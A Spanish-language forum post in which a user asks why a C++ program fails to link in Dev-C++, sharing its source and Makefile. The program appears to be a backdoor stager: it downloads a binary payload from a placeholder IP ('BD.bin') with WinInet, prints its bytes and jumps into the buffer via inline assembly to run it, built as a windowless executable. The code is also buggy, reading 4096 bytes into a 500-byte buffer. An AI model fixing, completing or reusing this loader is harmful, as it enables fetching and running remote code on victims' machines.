C++ error al compilar, al compilar recibo errores (id turned 1 exit estatus) y (recipe for target 'BD.exe' failed) (BD.cpp:(.text+0x16d): undefined reference to `_DataReceived')
//////////////////////////////////////////////////////////////////////////////////////////
Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed)
MOD: El código debe ir entre etiquetas de Código GeSHi
Código (cpp) [Seleccionar]
#include <windows.h>
#include<iostream>
#include<cstring>
#include<Wininet.h>
using namespace std;
unsigned char DataReceived[500];
int main(){
int i;
HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
if(!connect){
cout<<"Connection Failed or Syntax error";
return 0;
}
HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(tu ip aqui)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
if ( !OpenAddress )
{
DWORD ErrorNum = GetLastError();
cout<<"Failed to open URL \nError No: "<<ErrorNum;
InternetCloseHandle(connect);
return 0;
}
DWORD NumberOfBytesRead = 0;
while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
{
for(i=0;i<sizeof DataReceived; i++ ){
printf("\\x%02x",DataReceived[i]);
}
__asm ("lea _DataReceived, %rax");
__asm ("push %rax");
__asm ("ret");
}
InternetCloseHandle(OpenAddress);
InternetCloseHandle(connect);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
Este es el archivo que se crea del codigo anterior pero me da error en la linea 25 (recipe for target 'BD.exe' failed)
Código [Seleccionar]
# Project: BD
# Makefile created by Dev-C++ 5.11
CPP = g++.exe
CC = gcc.exe
WINDRES = windres.exe
OBJ = BD.o
LINKOBJ = BD.o
LIBS = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib" -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib" -static-libgcc -mwindows -lwininet
INCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
CXXINCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
BIN = BD.exe
CXXFLAGS = $(CXXINCS)
CFLAGS = $(INCS)
RM = rm.exe -f
.PHONY: all all-before all-after clean clean-custom
all: all-before $(BIN) all-after
clean: clean-custom
${RM} $(OBJ) $(BIN)
$(BIN): $(OBJ)
$(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)
BD.o: BD.cpp
$(CPP) -c BD.cpp -o BD.o $(CXXFLAGS)
MOD: El código debe ir entre etiquetas de Código GeSHi